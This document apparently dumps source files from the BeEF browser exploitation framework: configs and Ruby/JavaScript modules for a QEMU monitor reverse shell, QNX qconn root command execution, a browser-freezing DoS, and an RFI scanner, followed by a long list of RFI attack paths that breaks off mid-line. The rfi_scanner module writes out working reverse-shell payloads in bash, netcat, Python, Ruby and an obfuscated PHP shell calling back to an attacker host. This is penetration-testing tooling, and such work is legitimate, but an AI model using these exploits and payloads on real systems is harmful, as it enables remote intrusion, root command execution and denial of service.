    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        qemu_monitor_migrate_cmd_exec:\n            enable: true\n            category: \"Exploits\"\n            name: \"QEMU Monitor 'migrate' Command Execution\"\n            description: \"This module attempts to get a reverse shell from <a href='https://www.qemu.org/docs/master/system/monitor.html'>QEMU monitor service</a> (TCP or Telnet) using the 'migrate' command.<br/><br/>Works only if SSL/TLS and authentication are disabled. See: <a href='https://www.qemu.org/docs/master/system/security.html#monitor-console-qmp-and-hmp'>https://www.qemu.org/docs/master/system/security.html</a>.\"\n            authors: [\"bcoles\"]\n            target:\n                working: [\"ALL\"]\n"
  },
  {
    "path": "modules/exploits/qemu_monitor_migrate_cmd_exec/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Qemu_monitor_migrate_cmd_exec < BeEF::Core::Command\n  def self.options\n    configuration = BeEF::Core::Configuration.instance\n    lhost = configuration.beef_host\n    lhost = '' if lhost == '0.0.0.0'\n\n    [\n      { 'name' => 'rhost', 'ui_label' => 'Remote Host', 'value' => '127.0.0.1' },\n      { 'name' => 'rport', 'ui_label' => 'Remote Port', 'value' => '' },\n      { 'name' => 'payload',\n        'type' => 'combobox',\n        'ui_label' => 'Payload',\n        'store_type' => 'arraystore',\n        'store_fields' => ['payload'],\n        'store_data' => [['reverse_bash'], ['reverse_netcat'], ['reverse_python2'], ['reverse_ruby']],\n        'emptyText' => 'Select a payload',\n        'valueField' => 'payload',\n        'displayField' => 'payload',\n        'mode' => 'local',\n        'forceSelection' => 'false',\n        'autoWidth' => true },\n      { 'name' => 'lhost', 'ui_label' => 'Listen Host', 'value' => lhost },\n      { 'name' => 'lport', 'ui_label' => 'Listen Port', 'value' => '8080' }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/exploits/qnx_qconn_command_execution/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n\tvar rhost   = '<%= @rhost %>'; \n\tvar rport   = '<%= @rport %>';\n\tvar timeout = '<%= @timeout %>';\n\n\t// validate payload\n\ttry {\n\t\tvar cmd     = '<%= @cmd.gsub(/'/, \"\\\\\\'\").gsub(/\"/, '\\\\\\\"') %>';\n\t\tvar payload = '\\r\\nservice launcher\\r\\nstart/flags run /bin/sh /bin/sh -c \"'+cmd+'\"\\r\\n'\n\t} catch(e) {\n\t\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=malformed payload: '+e.toString());\n\t\treturn;\n\t}\n\n\t// validate target details\n\tif (!rport || !rhost) {\n\t\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=malformed remote host or remote port');\n\t\treturn;\n\t}\n\tif (!beef.net.is_valid_port(rport)) {\n\t\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=invalid remote port');\n\t\treturn;\n\t}\n\n\t// send commands\n\tvar qnx_iframe_<%= @command_id %> = beef.dom.createIframeIpecForm(rhost, rport, \"/index.html\", payload);\n\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=exploit attempted\");\n\n\t// clean up\n\tcleanup = function() {\n\t\tdocument.body.removeChild(qnx_iframe_<%= @command_id %>);\n\t}\n\tsetTimeout(\"cleanup()\", timeout*1000);\n\n});\n\n"
  },
  {
    "path": "modules/exploits/qnx_qconn_command_execution/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        qnx_qconn_command_execution:\n            enable: true\n            category: \"Exploits\"\n            name: \"QNX QCONN Command Execution\"\n            description: \"This module exploits a vulnerability in the qconn component of QNX Neutrino which can be abused to allow unauthenticated users to execute arbitrary commands under the context of the 'root' user.<br/><br/>The results of the commands are not returned to BeEF.\"\n            authors: [\"bcoles\"]\n            target:\n                working: [\"FF\", \"C\", \"O\"]\n                not_working: [\"S\", \"IE\"]\n"
  },
  {
    "path": "modules/exploits/qnx_qconn_command_execution/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Qnx_qconn_command_execution < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'rhost', 'ui_label' => 'Remote Host', 'value' => '127.0.0.1' },\n      { 'name' => 'rport',   'ui_label' => 'Remote Port', 'value' => '8000' },\n      { 'name' => 'timeout', 'ui_label' => 'Timeout (s)', 'value' => '15' },\n      { 'name' => 'cmd',     'ui_label' => 'Commands',    'description' => 'Enter shell commands to execute.', 'type' => 'textarea', 'value' => '(echo Welcome to BeEF!) > /etc/motd',\n        'width' => '200px' }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] }) unless @datastore['result'].nil?\n    save({ 'fail' => @datastore['fail'] }) unless @datastore['fail'].nil?\n  end\nend\n"
  },
  {
    "path": "modules/exploits/resource_exhaustion_dos/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n  var resource_exhaustion_dos_<%= @command_id %> = beef.dom.createInvisibleIframe();\n  var url = beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+'/dos';\n  resource_exhaustion_dos_<%= @command_id %>.setAttribute('src', url);\n  beef.net.send('<%= @command_url %>', <%= @command_id %>, \"result=DoS request sent\");\n});\n\n"
  },
  {
    "path": "modules/exploits/resource_exhaustion_dos/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        resource_exhaustion_dos:\n            enable: true\n            category: \"Exploits\"\n            name: \"Resource Exhaustion DoS\"\n            description: \"This module attempts to exhaust system resources rendering the browser unusable.\"\n            authors: [\"bcoles\"]\n            target:\n                working: [\"FF\", \"IE\", \"S\"]\n                not_working: [\"C\"]\n"
  },
  {
    "path": "modules/exploits/resource_exhaustion_dos/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Resource_exhaustion_dos < BeEF::Core::Command\n  def self.options\n    []\n  end\n\n  def pre_send\n    src = %q{<iframe src=\"javascript:while(true) window.location='';\">}\n    BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind_raw(\n      '200',\n      { 'Content-Type' => 'text/html' },\n      src * rand(10..19),\n      '/dos',\n      -1\n    )\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/exploits/rfi_scanner/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n  var rproto = '<%= @rproto %>';\n  var rhost = '<%= @rhost %>'; \n  var rport = '<%= @rport %>';\n  var base_dir = '<%= @base_dir %>';\n  var payload_url = beef.net.httpproto + '://'+beef.net.host+ ':' + beef.net.port + '/rfi_php_<%= @command_id %>.txt?';\n  var target = rproto + '://' + rhost + ':' + rport + base_dir;\n  var wait = '<%= @wait %>';\n\n  get_url = function(uri) {\n    try {\n      var xhr = new XMLHttpRequest();\n      var rfi = uri.replace(/XXpathXX/g, payload_url);\n      xhr.open('GET', target+rfi, true);\n      xhr.onload = function () {\n      };\n      xhr.onreadystatechange = function () {\n        if (xhr.readyState == 4 && xhr.status == 200) {\n          beef.debug(\"[command #<%= @command_id %>] Response: \" + xhr.response);\n        }\n      }\n      xhr.send(null);\n    } catch (e){\n      beef.debug(\"[command #<%= @command_id %>] Something went wrong: \" + e.message);\n    }\n  }\n\n  // add scripts to queue\n  var requests = new Array(\n<%=\n  scripts = []\n  File.open(\"#{$root_dir}/modules/exploits/rfi_scanner/rfi.txt\", 'r') do |file_handle|\n    file_handle.each_line do |line|\n      uri = line.chomp!\n      next if uri =~ /^#/\n      next if uri.nil?\n      next if uri !~ /XXpathXX/\n      scripts << \"'#{uri.gsub(\"'\", \"\\\\\\\\'\")}'\"\n    end\n  end\n  scripts.shuffle.join(\",\\n\")\n%>\n);\n\n  // process queue\n  beef.debug(\"[command #<%= @command_id %>] Starting RFI scan of \"+target+\" (\"+requests.length+\" URLs)\");\n  beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=starting scan of \"+target+\" (\"+requests.length+\" URLs)\");\n  var timeout = wait * requests.length + 10;\n  var handle = setInterval(function() {\n    if (requests.length > 0) {\n      get_url(requests.pop());\n    } else cleanup();\n  }, wait*1000);\n\n  // clean up\n  cleanup = function() {\n    if (handle) {\n      beef.debug(\"[command #<%= @command_id %>] Killing timer [ID: \" + handle + \"]\");\n      clearInterval(handle);\n      handle = 0;\n      beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=scan complete\");\n    }\n  }\n  setTimeout(\"cleanup();\", timeout*1000);\n\n});\n"
  },
  {
    "path": "modules/exploits/rfi_scanner/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        rfi_scanner:\n            enable: true\n            category: \"Exploits\"\n            name: \"RFI Scanner\"\n            description: \"This module scans the specified web server for ~2,500 remote file include vulnerabilities using the <a href='https://code.google.com/p/fuzzdb/'>fuzzdb</a> <a href='https://fuzzdb.googlecode.com/svn/trunk/attack-payloads/rfi/rfi.txt'>RFI list</a>. Many of these vulns require the target to have register_globals enabled in the PHP config.<br/><br/>The scan will take about 10 minutes with the default settings. Successful exploitation results in a reverse shell. Be sure to start your shell handler on the local port specified below.\"\n            authors: [\"bcoles\"]\n            target:\n                working: [\"ALL\"]\n"
  },
  {
    "path": "modules/exploits/rfi_scanner/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Rfi_scanner < BeEF::Core::Command\n  def pre_send\n    lhost = '127.0.0.1'\n    lport = 4444\n    payload = 'reverse_php'\n    @datastore.each do |input|\n      case input['name']\n      when 'lhost'\n        lhost = input['value']\n      when 'lport'\n        lport = input['value']\n      end\n    end\n    @datastore.each do |input|\n      next unless input['name'] == 'payload'\n\n      case input['value']\n      when 'reverse_python' # msfvenom -p cmd/unix/reverse_python LHOST=X.X.X.X LPORT=XXXX\n        cmd = Base64.strict_encode64(\"import socket,subprocess,os;host='#{lhost}';port=#{lport};s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((host,port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i']);\")\n        payload = \"`python -c \\\"exec ('#{cmd}'.decode ('base64') )\\\"`\"\n      when 'reverse_netcat'\n        payload = \"`nc #{lhost} #{lport} -e /bin/sh`\"\n      when 'reverse_ruby' # msfvenom -p cmd/unix/reverse_ruby LHOST=X.X.X.X LPORT=XXXX\n        payload = \"`ruby -rsocket -e \\\"exit if fork;c=TCPSocket.new('#{lhost}','#{lport}');while(cmd=c.gets);IO.popen(cmd,'r'){|io|c.print io.read}end\\\"`\"\n      when 'reverse_bash'\n        payload = \"`bash -c \\\"/bin/bash -i >& /dev/tcp/#{lhost}/#{lport} 0>&1\\\"`\"\n      else # \"reverse_php\" # msfvenom -p php/reverse_php LHOST=X.X.X.X LPORT=XXXX\n        payload = <<-EOS\n    $ipaddr='#{lhost}';\n    $port=#{lport};\n\n      @set_time_limit(0); @ignore_user_abort(1); @ini_set('max_execution_time',0);\n      $dis=@ini_get('disable_functions');\n      if(!empty($dis)){\n        $dis=preg_replace('/[, ]+/', ',', $dis);\n        $dis=explode(',', $dis);\n        $dis=array_map('trim', $dis);\n      }else{\n        $dis=array();\n      }\n    #{'  '}\n\n    if(!function_exists('zBoGL')){\n      function zBoGL($c){\n        global $dis;\n    #{'    '}\n      if (FALSE !== strpos(strtolower(PHP_OS), 'win' )) {\n        $c=$c.\" 2>&1\\\\n\";\n      }\n      $eclnc='is_callable';\n      $wGGmd='in_array';\n    #{'  '}\n      if($eclnc('system')and!$wGGmd('system',$dis)){\n        ob_start();\n        system($c);\n        $o=ob_get_contents();\n        ob_end_clean();\n      }else\n      if($eclnc('popen')and!$wGGmd('popen',$dis)){\n        $fp=popen($c,'r');\n        $o=NULL;\n        if(is_resource($fp)){\n          while(!feof($fp)){\n            $o.=fread($fp,1024);\n          }\n        }\n        @pclose($fp);\n      }else\n      if($eclnc('passthru')and!$wGGmd('passthru',$dis)){\n        ob_start();\n        passthru($c);\n        $o=ob_get_contents();\n        ob_end_clean();\n      }else\n      if($eclnc('proc_open')and!$wGGmd('proc_open',$dis)){\n        $handle=proc_open($c,array(array(pipe,'r'),array(pipe,'w'),array(pipe,'w')),$pipes);\n        $o=NULL;\n        while(!feof($pipes[1])){\n          $o.=fread($pipes[1],1024);\n        }\n        @proc_close($handle);\n      }else\n      if($eclnc('exec')and!$wGGmd('exec',$dis)){\n        $o=array();\n        exec($c,$o);\n        $o=join(chr(10),$o).chr(10);\n      }else\n      if($eclnc('shell_exec')and!$wGGmd('shell_exec',$dis)){\n        $o=shell_exec($c);\n      }else\n      {\n        $o=0;\n      }\n\n        return $o;\n      }\n    }\n    $nofuncs='no exec functions';\n    if(is_callable('fsockopen')and!in_array('fsockopen',$dis)){\n      $s=@fsockopen(\"tcp://#{lhost}\",$port);\n      while($c=fread($s,2048)){\n        $out = '';\n        if(substr($c,0,3) == 'cd '){\n          chdir(substr($c,3,-1));\n        } else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') {\n          break;\n        }else{\n          $out=zBoGL(substr($c,0,-1));\n          if($out===false){\n            fwrite($s,$nofuncs);\n            break;\n          }\n        }\n        fwrite($s,$out);\n      }\n      fclose($s);\n    }else{\n      $s=@socket_create(AF_INET,SOCK_STREAM,SOL_TCP);\n      @socket_connect($s,$ipaddr,$port);\n      @socket_write($s,\"socket_create\");\n      while($c=@socket_read($s,2048)){\n        $out = '';\n        if(substr($c,0,3) == 'cd '){\n          chdir(substr($c,3,-1));\n        } else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') {\n          break;\n        }else{\n          $out=zBoGL(substr($c,0,-1));\n          if($out===false){\n            @socket_write($s,$nofuncs);\n            break;\n          }\n        }\n        @socket_write($s,$out,strlen($out));\n      }\n      @socket_close($s);\n    }\n        EOS\n\n      end\n    end\n    BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind_raw('200', { 'Content-Type' => 'text/plain' }, \"<?php #{payload} ?>\", \"/rfi_php_#{@command_id}.txt\", -1)\n  end\n\n  def self.options\n    configuration = BeEF::Core::Configuration.instance\n    lhost = configuration.beef_host\n    lhost = '' if lhost == '0.0.0.0'\n    [\n      { 'name' => 'rproto',\n        'type' => 'combobox',\n        'ui_label' => 'Target Protocol',\n        'store_type' => 'arraystore',\n        'store_fields' => ['rproto'],\n        'store_data' => [\n          ['http'],\n          ['https']\n        ],\n        'emptyText' => 'Select a protocol (HTTP/HTTPS)',\n        'valueField' => 'rproto',\n        'displayField' => 'rproto',\n        'mode' => 'local',\n        'autoWidth' => true },\n      { 'name' => 'rhost', 'ui_label' => 'Target Host', 'value' => '127.0.0.1' },\n      { 'name' => 'rport', 'ui_label' => 'Target Port', 'value' => '80' },\n      { 'name' => 'base_dir', 'ui_label' => 'Base Directory', 'value' => '/' },\n      { 'name' => 'payload',\n        'type' => 'combobox',\n        'ui_label' => 'Payload',\n        'store_type' => 'arraystore',\n        'store_fields' => ['payload'],\n        'store_data' => [['reverse_bash'], ['reverse_netcat'], ['reverse_ruby'], ['reverse_python'], ['reverse_php']],\n        'emptyText' => 'Select a payload',\n        'valueField' => 'payload',\n        'displayField' => 'payload',\n        'mode' => 'local',\n        'forceSelection' => 'false',\n        'autoWidth' => true },\n      { 'name' => 'lhost', 'ui_label' => 'Local Host',  'value' => lhost },\n      { 'name' => 'lport', 'ui_label' => 'Local Port',  'value' => '4444' },\n      { 'name' => 'wait', 'ui_label' => 'Wait between requests (s)', 'value' => '0.3', 'width' => '100px' }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n    # BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind(\"/rfi_php_#{@command_id}.txt\")\n  end\nend\n"
  },
  {
    "path": "modules/exploits/rfi_scanner/rfi.txt",
    "content": "# Compiled by RSnake 02/01/2010 Mostly from milw0rm osvdb.org and elsewhere.\n# Change XXpathXX to the path of your backdoor.  Note that you may need to \n# try it against every directory on the target and because of how this was\n# culled you may need to add a question mark to your own XXpathXX URL:\n# Eg: XXpathXX => http://www.example.com/hax.txt?\n/0_admin/modules/Wochenkarte/frontend/index.php?x_admindir=XXpathXX?\n/123flashchat.php?e107path=XXpathXX\n/2007/administrator/components/com_joomlaflashfun/admin.joomlaflashfun.php?mosConfig_live_site=XXpathXX\n/22_ultimate/templates/header.php?mainpath=XXpathXX\n/22_ultimate/templates/header.php?mainpath=XXpathXX?\n/=XXpathXX\n/?_CONFIG[files][functions_page]=XXpathXX\n/?npage=-1&content_dir=XXpathXX%00&cmd=ls\n/?npage=1&content_dir=XXpathXX%00&cmd=ls\n/?show=XXpathXX?\n/A-Blog/navigation/donation.php?navigation_start=XXpathXX\n/A-Blog/navigation/latestnews.php?navigation_start=XXpathXX?\n/A-Blog/navigation/links.php?navigation_start=XXpathXX?\n/A-Blog/navigation/search.php?navigation_end=XXpathXX?\n/A-Blog/sources/myaccount.php?open_box=XXpathXX?\n/ACGVnews/header.php?PathNews=XXpathXX\n/ATutor/documentation/common/frame_toc.php?section=XXpathXX\n/ATutor/documentation/common/search.php?section=XXpathXX\n/ATutor/documentation/common/vitals.inc.php?req_lang=XXpathXX\n/ATutor/include/classes/module/module.class.php?row[dir_name]=XXpathXX\n/ATutor/include/classes/phpmailer/class.phpmailer.php?lang_path=XXpathXX\n/AdaptCMS_Lite_1.4_2/plugins/rss_importer_functions.php?sitepath=XXpathXX?\n/Administration/Includes/configureText.php?path_prefix=XXpathXX\n/Administration/Includes/contentHome.php?path_prefix=XXpathXX\n/Administration/Includes/deleteContent.php?path_prefix=XXpathXX\n/Administration/Includes/deleteUser.php?path_prefix=XXpathXX\n/Administration/Includes/userHome.php?path_prefix=XXpathXX\n/Agora_PATH//mdweb/admin/inc/organisations/country_insert.php?chemin_appli=XXpathXX?\n/Agora_PATH//mdweb/admin/inc/organisations/form_org.inc.php?chemin_appli=XXpathXX?\n/BE_config.php?_PSL[classdir]=XXpathXX\n/BPNEWS/bn_smrep1.php?bnrep=XXpathXX?&\n/Base/Application.php?pear_dir=XXpathXX\n/Bcwb_PATH/dcontent/default.css.php?root_path_admin=XXpathXX\n/Bcwb_PATH/include/startup.inc.php?root_path_admin=XXpathXX\n/Bcwb_PATH/system/default.css.php?root_path_admin=XXpathXX\n/Beautifier/Core.php?BEAUT_PATH=XXpathXX?\n/BetaBlockModules//Module/Module.php?path_prefix=XXpathXX\n/BetaBlockModules/AboutUserModule/AboutUserModule.php?path_prefix=XXpathXX\n/BetaBlockModules/AddGroupModule/AddGroupModule.php?path_prefix=XXpathXX\n/BetaBlockModules/AddMessageModule/AddMessageModule.php?path_prefix=XXpathXX\n/BetaBlockModules/AudiosMediaGalleryModule/AudiosMediaGalleryModule.php?current_blockmodule_path=XXpathXX\n/BetaBlockModules/CustomizeUIModule/desktop_image.php?path_prefix=XXpathXX\n/BetaBlockModules/EditProfileModule/DynamicProfile.php?path_prefix=XXpathXX\n/BetaBlockModules/EditProfileModule/external.php?path_prefix=XXpathXX\n/BetaBlockModules/EnableModule/EnableModule.php?path_prefix=XXpathXX\n/BetaBlockModules/ExternalFeedModule/ExternalFeedModule.php?path_prefix=XXpathXX\n/BetaBlockModules/FlickrModule/FlickrModule.php?path_prefix=XXpathXX\n/BetaBlockModules/GroupForumModule/GroupForumModule.php?path_prefix=XXpathXX\n/BetaBlockModules/GroupForumPermalinkModule/GroupForumPermalinkModule.php?path_prefix=XXpathXX\n/BetaBlockModules/GroupModerateContentModule/GroupModerateContentModule.php?path_prefix=XXpathXX\n/BetaBlockModules/GroupModerateUserModule/GroupModerateUserModule.php?path_prefix=XXpathXX\n/BetaBlockModules/GroupModerationModule/GroupModerationModule.php?path_prefix=XXpathXX\n/BetaBlockModules/GroupsCategoryModule/GroupsCategoryModule.php?path_prefix=XXpathXX\n/BetaBlockModules/GroupsDirectoryModule/GroupsDirectoryModule.php?path_prefix=XXpathXX\n/BetaBlockModules/ImagesMediaGalleryModule/ImagesMediaGalleryModule.php?current_blockmodule_path=XXpathXX\n/BetaBlockModules/ImagesModule/ImagesModule.php?path_prefix=XXpathXX\n/BetaBlockModules/InvitationStatusModule/InvitationStatusModule.php?path_prefix=XXpathXX\n/BetaBlockModules/LargestGroupsModule/LargestGroupsModule.php?path_prefix=XXpathXX\n/BetaBlockModules/LinksModule/LinksModule.php?path_prefix=XXpathXX\n/BetaBlockModules/LoginModule/remoteauth_functions.php?path_prefix=XXpathXX\n/BetaBlockModules/LogoModule/LogoModule.php?path_prefix=XXpathXX\n/BetaBlockModules/MediaFullViewModule/MediaFullViewModule.php?path_prefix=XXpathXX\n/BetaBlockModules/MediaManagementModule/MediaManagementModule.php?path_prefix=XXpathXX\n/BetaBlockModules/MembersFacewallModule/MembersFacewallModule.php?current_blockmodule_path=XXpathXX\n/BetaBlockModules/MessageModule/MessageModule.php?path_prefix=XXpathXX\n/BetaBlockModules/ModuleSelectorModule/ModuleSelectorModule.php?path_prefix=XXpathXX\n/BetaBlockModules/MyGroupsModule/MyGroupsModule.php?path_prefix=XXpathXX\n/BetaBlockModules/MyLinksModule/MyLinksModule.php?path_prefix=XXpathXX\n/BetaBlockModules/MyNetworksModule.php?path_prefix=XXpathXX\n/BetaBlockModules/NetworkAnnouncementModule/NetworkAnnouncementModule.php?path_prefix=XXpathXX\n/BetaBlockModules/NetworkDefaultControlModule/NetworkDefaultControlModule.php?path_prefix=XXpathXX\n/BetaBlockModules/NetworkDefaultLinksModule/NetworkDefaultLinksModule.php?path_prefix=XXpathXX\n/BetaBlockModules/NetworkModerateUserModule/NetworkModerateUserModule.php?path_prefix=XXpathXX\n/BetaBlockModules/NetworkResultContentModule/NetworkResultContentModule.php?path_prefix=XXpathXX\n/BetaBlockModules/NetworkResultUserModule/NetworkResultUserModule.php?path_prefix=XXpathXX\n/BetaBlockModules/NetworksDirectoryModule/NetworksDirectoryModule.php?path_prefix=XXpathXX\n/BetaBlockModules/NewestGroupsModule/NewestGroupsModule.php?current_blockmodule_path=XXpathXX\n/BetaBlockModules/PeopleModule/PeopleModule.php?path_prefix=XXpathXX\n/BetaBlockModules/PopularTagsModule/PopularTagsModule.php?path_prefix=XXpathXX\n/BetaBlockModules/PostContentModule/PostContentModule.php?path_prefix=XXpathXX\n/BetaBlockModules/ProfileFeedModule/ProfileFeedModule.php?path_prefix=XXpathXX\n/BetaBlockModules/RecentCommentsModule/RecentCommentsModule.php?path_prefix=XXpathXX\n/BetaBlockModules/RecentPostModule/RecentPostModule.php?path_prefix=XXpathXX\n/BetaBlockModules/RecentTagsModule/RecentTagsModule.php?path_prefix=XXpathXX\n/BetaBlockModules/RegisterModule/RegisterModule.php?path_prefix=XXpathXX\n/BetaBlockModules/SearchGroupsModule/SearchGroupsModule.php?path_prefix=XXpathXX\n/BetaBlockModules/ShowAnnouncementModule/ShowAnnouncementModule.php?path_prefix=XXpathXX\n/BetaBlockModules/ShowContentModule/ShowContentModule.php?path_prefix=XXpathXX\n/BetaBlockModules/TakerATourModule/TakerATourModule.php?path_prefix=XXpathXX\n/BetaBlockModules/UploadMediaModule/UploadMediaModule.php?current_blockmodule_path=XXpathXX\n/BetaBlockModules/UserMessagesModule/UserMessagesModule.php?path_prefix=XXpathXX\n/BetaBlockModules/UserPhotoModule/UserPhotoModule.php?path_prefix=XXpathXX\n/BetaBlockModules/VideosMediaGalleryModule/VideosMediaGalleryModule.php?current_blockmodule_path=XXpathXX\n/BetaBlockModules/ViewAllMembersModule/ViewAllMembersModule.php?path_prefix=XXpathXX\n/Blog_CMS/admin/plugins/NP_UserSharing.php?DIR_ADMIN=XXpathXX?admin\n/BsiliX_path]/files/mbox-action.php3?BSX_LIBDIR=XXpathXX\n/CSLH2_path/txt-db-api/util.php?API_HOME_DIR=XXpathXX?\n/CheckUpload.php?Language=XXpathXX&cmd=ls\n/Contenido_4.8.4/contenido/backend_search.php?contenido_path=XXpathXX?\n/Contenido_4.8.4/contenido/cronjobs/move_articles.php?cfg[path][contenido]=XXpathXX?\n/Contenido_4.8.4/contenido/cronjobs/move_old_stats.php?cfg[path][contenido]=XXpathXX?\n/Contenido_4.8.4/contenido/cronjobs/optimize_database.php?cfg[path][contenido]=XXpathXX?\n/Contenido_4.8.4/contenido/cronjobs/run_newsletter_job.php?cfg[path][contenido]=XXpathXX?\n/Contenido_4.8.4/contenido/cronjobs/send_reminder.php?cfg[path][contenido]=XXpathXX?\n/Contenido_4.8.4/contenido/cronjobs/session_cleanup.php?cfg[path][contenido]=XXpathXX?\n/Contenido_4.8.4/contenido/cronjobs/setfrontenduserstate.php?cfg[path][contenido]=XXpathXX?\n/Contenido_4.8.4/contenido/includes/include.newsletter_jobs_subnav.php?cfg[path][contenido]=XXpathXX?\n/Contenido_4.8.4/contenido/includes/include.newsletter_jobs_subnav.php?cfg[path][templates]=XXpathXX?\n/Contenido_4.8.4/contenido/includes/include.newsletter_jobs_subnav.php?cfg[templates][right_top_blank]=XXpathXX?\n/Contenido_4.8.4/contenido/plugins/content_allocation/includes/include.right_top.php?cfg[path][contenido]=XXpathXX?\n/Contenido_4.8.4/contenido/plugins/content_allocation/includes/include.right_top.php?cfg[path][templates]=XXpathXX?\n/Contenido_4.8.4/contenido/plugins/content_allocation/includes/include.right_top.php?cfg[templates][right_top_blank]=XXpathXX?\n/CoupleDB.php?Parametre=0&DataDirectory=XXpathXX?\n/DFF_PHP_FrameworkAPI-latest/include/DFF_affiliate_client_API.php?DFF_config[dir_include]=XXpathXX\n/DFF_PHP_FrameworkAPI-latest/include/DFF_featured_prdt.func.php?DFF_config[dir_include]=XXpathXX\n/DFF_PHP_FrameworkAPI-latest/include/DFF_mer.func.php?DFF_config[dir_include]=XXpathXX\n/DFF_PHP_FrameworkAPI-latest/include/DFF_mer_prdt.func.php?DFF_config[dir_include]=XXpathXX\n/DFF_PHP_FrameworkAPI-latest/include/DFF_paging.func.php?DFF_config[dir_include]=XXpathXX\n/DFF_PHP_FrameworkAPI-latest/include/DFF_rss.func.php?DFF_config[dir_include]=XXpathXX\n/DFF_PHP_FrameworkAPI-latest/include/DFF_sku.func.php?DFF_config[dir_include]=XXpathXX\n/DFF_PHP_FrameworkAPI-latest/include/DFF_sku.func.php?DFF_config[dir_include]XXpathXX\n/DON3/applications/don3_requiem.don3app/don3_requiem.php?app_path=XXpathXX\n/DON3/applications/frontpage.don3app/frontpage.php?app_path=XXpathXX?\n/Dir_phNNTP/article-raw.php?file_newsportal=XXpathXX?\n/DynaTracker_v151/action.php?base_path=XXpathXX\n/DynaTracker_v151/includes_handler.php?base_path=XXpathXX\n/Easysite-2.0_path/configuration/browser.php?EASYSITE_BASE=XXpathXX?\n/Ex/modules/threadstop/threadstop.php?exbb[home_path]=XXpathXX?\n/Ex/modules/threadstop/threadstop.php?new_exbb[home_path]=XXpathXX?\n/Exophpdesk_PATH/pipe.php?lang_file=XXpathXX\n/FirstPost/block.php?Include=XXpathXX\n/Flickrclient.php?path_prefix=XXpathXX\n/FormTools1_5_0/global/templates/admin_page_open.php?g_root_dir=XXpathXX?\n/FormTools1_5_0/global/templates/client_page_open.php?g_root_dir=XXpathXX?\n/Full_Release/include/body_comm.inc.php?content=XXpathXX\n/Gallery/displayCategory.php?basepath=XXpathXX\n/Include/lib.inc.php3?Include=XXpathXX?\n/Include/variables.php3?Include=XXpathXX?\n/Jobline/admin.jobline.php?mosConfig_absolute_path=XXpathXX\n/ListRecords.php?lib_dir=XXpathXX?&cmd=id\n/Lorev1/third_party/phpmailer/class.phpmailer.php?lang_path=XXpathXX\n/MOD_forum_fields_parse.php?phpbb_root_path=XXpathXX\n/Mamblog/admin.mamblog.php?cfgfile=XXpathXX\n/Net_DNS_PATH/DNS/RR.php?phpdns_basedir=XXpathXX?\n/NuclearBB/tasks/send_queued_emails.php?root_path=XXpathXX?\n/OpenSiteAdmin/indexFooter.php?path=XXpathXX%00\n/OpenSiteAdmin/pages/pageHeader.php?path=XXpathXX?\n/OpenSiteAdmin/scripts/classes/DatabaseManager.php?path=XXpathXX%00\n/OpenSiteAdmin/scripts/classes/FieldManager.php?path=XXpathXX%00\n/OpenSiteAdmin/scripts/classes/Filter.php?path=XXpathXX%00\n/Op